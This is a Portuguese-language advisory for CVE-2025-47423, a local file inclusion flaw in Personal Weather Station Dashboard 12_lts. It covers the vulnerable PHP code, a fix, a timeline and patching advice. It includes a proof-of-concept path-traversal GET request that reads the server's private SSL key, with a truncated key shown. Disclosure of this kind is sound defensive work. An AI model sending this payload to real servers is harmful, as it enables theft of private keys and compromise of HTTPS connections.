
Divulgação detalhada da CVE-2025-47423: Inclusão de Arquivo Local no Personal Weather Station Dashboard 12_lts. Inclui PoC, análise de código vulnerável e recomendações de correção segura para aprendizado defensivo.
Descoberto por: Matthew Eagle
Status: Divulgação Pública
Data de Notificação: 2025-05-05
ID CVE: CVE-2025-47423
Uma vulnerabilidade de Inclusão Local de Arquivo (LFI) no Personal Weather Station Dashboard versão 12_lts permite que atacantes remotos não autenticados leiam arquivos arbitrários no servidor. A exploração dessa falha concede acesso a arquivos sensíveis, incluindo chaves SSL privadas, potencialmente comprometendo a confidencialidade e a integridade das conexões HTTPS.
/others/_test.phptest (via GET)Essa falha permite que atacantes remotos:
server.key)CVSS: 5.8 Médio
GET /others/_test.php?test=../../../apache/conf/ssl.key/server.key HTTP/1.1
Host: www.example.com
Resposta:
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAs2omMqKSB+lm7xu9Nu3C5...
...TRUNCATED...
-----END RSA PRIVATE KEY-----
$script = trim($_GET['test']);
$script = str_replace('../','',$script);
include($script);
O str_replace é insuficiente para impedir o directory traversal.
basename() e verifique contra os arquivos permitidos$allowed_tests = ['index.php', 'module_test.php'];
$script = isset($_GET['test']) ? basename($_GET['test']) : 'index.php';
if (!in_array($script, $allowed_tests)) {
die("Invalid test file.");
}
include(__DIR__ . '/scripts/' . $script);
| Data | Evento |
|---|---|
| 2025-05-05 | Vulnerabilidade reportada aos moderadores do PWS Dashboard |
| 2025-05-06 | Confirmação e testes observados |
| 2025-05-07 | CVE-2025-47423 reservado via MITRE |
| 2025-06-07 | Patch público e listagem do CVE confirmados |
Se você estiver executando o Personal Weather Station Dashboard 12_lts, você deve:
_test.phpVulnerabilidade descoberta e divulgada de forma responsável por Matthew Eagle
Contato: [email protected]
Divulgação coordenada em conformidade com as diretrizes de divulgação responsável. Este documento é publicado para fins educacionais e defensivos.